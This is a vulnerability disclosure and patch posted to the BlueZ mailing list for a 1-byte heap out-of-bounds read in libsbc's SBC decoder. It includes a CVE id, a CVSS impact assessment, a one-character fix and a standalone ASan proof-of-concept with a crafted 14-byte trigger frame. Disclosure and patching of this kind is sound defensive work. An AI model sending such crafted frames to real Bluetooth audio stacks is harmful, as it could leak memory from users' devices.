[PATCH sbc] sbc: fix 1-byte heap-OOB read in sbc_unpack_frame_internal
Oğuzhan Akkaya <[email protected]> Wed, 29 Jul 2026 21:15:19 +0000 (UTC)
| Newsgroups | org.kernel.vger.linux-bluetooth |
|---|---|
| Message-ID | <[email protected]> |
Hi BlueZ maintainers,
While fuzzing libsbc with a libFuzzer + ASan harness exercising thepublic sbc_decode() entry point, I found a 1-byte heap-buffer-overflowREAD in sbc_unpack_frame_internal() at sbc/sbc.c:489. The off-by-one isin the bound check at line 486:
for (bit = 0; bit < bits[ch][sb]; bit++) { if (consumed > len * 8) <-- should be `>=` return -1;
if ((data[consumed >> 3] >> (7 - (consumed & 0x7))) & 0x01) audio_sample |= 1 << (bits[ch][sb] - bit - 1);
consumed++; }
When `consumed == len * 8` the guard does not fire and the next linereads `data[len]`, one byte past the input buffer.
The bug has been live since commit feb1bd57 (2011-10-19) — surviving theadjacent hardening in b3ae4260 ("sbc: Fix stack overflow read insbc_crc8.", 2018) which fixed a similar pattern in the CRC helper.
Reproducer:
- Standalone PoC (compiles against system libsbc, ASan-enabled): attached as poc_standalone.c- A 14-byte input is enough to reach the off-by-one: 9c bd b0 36 7d f2 f2 f2 f2 f2 f2 f2 f2 f2
The proposed fix is a single-character change (`>` → `>=`); patchattached as 0001-sbc-fix-1-byte-heap-OOB-read-in-sbc_unpack_frame_int.patch.
Verified on git HEAD b3deb8a ("Release 2.2"). After the patch the sameinput is rejected cleanly by sbc_decode() (returns -1).
Impact assessment:
- Reachable via any A2DP audio frame (the SBC codec is mandatory for A2DP); also reachable via libsbc users such as PulseAudio/PipeWire BT modules, GStreamer's sbcparse/sbcdec, ofono, and most embedded BT audio gateways that link libsbc.- Primitive is a 1-byte out-of-bounds READ; in a long-lived audio pipeline the chunk neighborhood is attacker-shapeable across frames, so the strongest immediate use is a probabilistic info-leak / heap layout oracle. CVSSv3.1 (proposed): AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (4.3 Medium)- AOSP/Android does NOT ship libsbc — Android's BT stack uses the OI Codec at bluedroid/embdrv/sbc/, which is a structurally different implementation and not affected by this exact bug.
This issue has been assigned CVE-2026-16473 (via Red Hat SecurityResponse Team). Public references:
- https://access.redhat.com/security/cve/CVE-2026-16473 - https://bugzilla.redhat.com/show_bug.cgi?id=2503650
I am including the id here for the commit record; please reference itwhen the fix is merged.
Thanks,
---Attachments:
- 0001-sbc-fix-1-byte-heap-OOB-read-in-sbc_unpack_frame_int.patch- poc_standalone.c
Oguzhan Akkaya
Security Engineer
Per.Mail: [email protected]
LinkedIn | Twitter | Reddit | Github | Researchgate |
0001-sbc-fix-1-byte-heap-OOB-read-in-sbc_unpack_frame_int.patch
(application/octet-stream, 3.3 KB)
From f4a2bc64faee408f925ae7800fc18a9213e1cc77 Mon Sep 17 00:00:00 2001 From: Oğuzhan Akkaya <[email protected]> Date: Wed, 29 Jul 2026 16:27:03 -0400 Subject: [PATCH sbc] sbc: fix 1-byte heap-OOB read in sbc_unpack_frame_internal To: [email protected] Cc: Luiz Augusto von Dentz <[email protected]> Cc: [email protected] The per-sample bit-reader at sbc.c:485-493 has an off-by-one bound check that allows the buffer-end to be reached and one byte to be read past the attacker-controlled SBC frame buffer. When the cumulative `consumed` bit-position reaches len*8 exactly, the guard `if (consumed > len * 8)` does not fire, and the next statement indexes `data[consumed >> 3]` == `data[len]`, one byte past the end of the input buffer. AddressSanitizer reports: ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 #0 sbc_unpack_frame_internal sbc.c:489 #1 sbc_decode sbc.c:1225 The bug has been present since commit feb1bd57 (2011-10-19, 'sbc: Reduce for-loop induced indentation in sbc_unpack_frame'). It was not addressed by the adjacent hardening in b3ae4260 ('sbc: Fix stack overflow read in sbc_crc8.', 2018) which fixed a similar 1-byte over-read in sbc_crc8. The fix changes the comparison to `>=` so that the guard fires when `consumed` would reach the byte beyond the buffer. CVE: CVE-2026-16473 Signed-off-by: Oğuzhan Akkaya <[email protected]> --- Found via a libFuzzer + AddressSanitizer harness around the public sbc_decode() entry point. How to trigger — a 14-byte frame is enough to reach the off-by-one: 9c bd b0 36 7d f2 f2 f2 f2 f2 f2 f2 f2 f2 On an ASan build, sbc_decode() on this input reports: ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 #0 sbc_unpack_frame_internal sbc.c:489 #1 sbc_decode sbc.c:1225 After the patch the same input is rejected cleanly (sbc_decode returns -1). Verified on git HEAD b3deb8a ("Release 2.2"). Impact: reachable via any A2DP audio frame (SBC is mandatory for A2DP) and via libsbc users such as PulseAudio/PipeWire BT modules, GStreamer sbcparse/sbcdec, and embedded BT audio gateways. The primitive is a 1-byte out-of-bounds READ; in a long-lived audio pipeline the neighbouring heap is attacker-shapeable across frames, so the strongest immediate use is a probabilistic info-leak / heap-layout oracle. CVSSv3.1 (proposed): AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (4.3 Medium). Note: AOSP/Android does not ship libsbc — Android's BT stack uses the OI codec at bluedroid/embdrv/sbc/, a structurally different implementation not affected by this bug. Assigned CVE-2026-16473 (via the Red Hat Security Response Team): https://access.redhat.com/security/cve/CVE-2026-16473 https://bugzilla.redhat.com/show_bug.cgi?id=2503650 A standalone ~60-line ASan reproducer (poc_standalone.c) is available on request. sbc/sbc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sbc/sbc.c b/sbc/sbc.c index 2fab366..ffe281a 100644 --- a/sbc/sbc.c +++ b/sbc/sbc.c @@ -483,7 +483,7 @@ static int sbc_unpack_frame_internal(const uint8_t *data, audio_sample = 0; for (bit = 0; bit < bits[ch][sb]; bit++) { - if (consumed > len * 8) + if (consumed >= len * 8) return -1; if ((data[consumed >> 3] >> (7 - (consumed & 0x7))) & 0x01) -- 2.53.0
poc_standalone.c
(application/octet-stream, 2 KB)
/*
* libsbc (BlueZ SBC codec) — heap-buffer-overflow READ in sbc_unpack_frame_internal
* Standalone reproducer.
*
* Build (Debian/Ubuntu/Fedora — needs libsbc-dev / sbc-devel):
* gcc -O0 -g -fsanitize=address poc_standalone.c -lsbc -o poc
*
* Or against a freshly built upstream tree:
* gcc -O0 -g -fsanitize=address \
* -I/path/to/sbc/sbc poc_standalone.c \
* /path/to/sbc/sbc/.libs/libsbc.a -lm -o poc
*
* Run:
* ./poc
*
* Expected on a vulnerable build (libsbc <= 2.2 / git HEAD b3deb8a as of
* 2026-05-02): AddressSanitizer prints
* "ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1 ...
* in sbc_unpack_frame_internal sbc.c:489"
*
* Expected on a patched build: clean exit (sbc_decode returns -1).
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sbc/sbc.h>
/* 14-byte trigger — first byte 0x9C is the SBC sync word; the remainder is
* crafted so that the per-sample bit-reader's `consumed` counter reaches
* exactly len*8 on the final iteration, and the off-by-one bound check at
* sbc.c:486 (`consumed > len * 8`) lets the next read fall one byte past
* the input buffer end. */
static const unsigned char TRIGGER[14] = {
0x9c, 0xbd, 0xb0, 0x36, 0x7d, 0xf2, 0xf2, 0xf2,
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
};
int main(void) {
sbc_t sbc;
if (sbc_init(&sbc, 0L) < 0) {
fprintf(stderr, "sbc_init failed\n");
return 1;
}
/* Use a heap allocation so AddressSanitizer's redzone immediately follows
* the buffer end — that is what makes the 1-byte over-read visible. */
unsigned char *in = (unsigned char *)malloc(sizeof TRIGGER);
if (!in) { sbc_finish(&sbc); return 1; }
memcpy(in, TRIGGER, sizeof TRIGGER);
unsigned char out[4096];
size_t written = 0;
ssize_t r = sbc_decode(&sbc, in, sizeof TRIGGER, out, sizeof out, &written);
fprintf(stderr, "sbc_decode returned %zd, written=%zu\n", r, written);
free(in);
sbc_finish(&sbc);
return 0;
}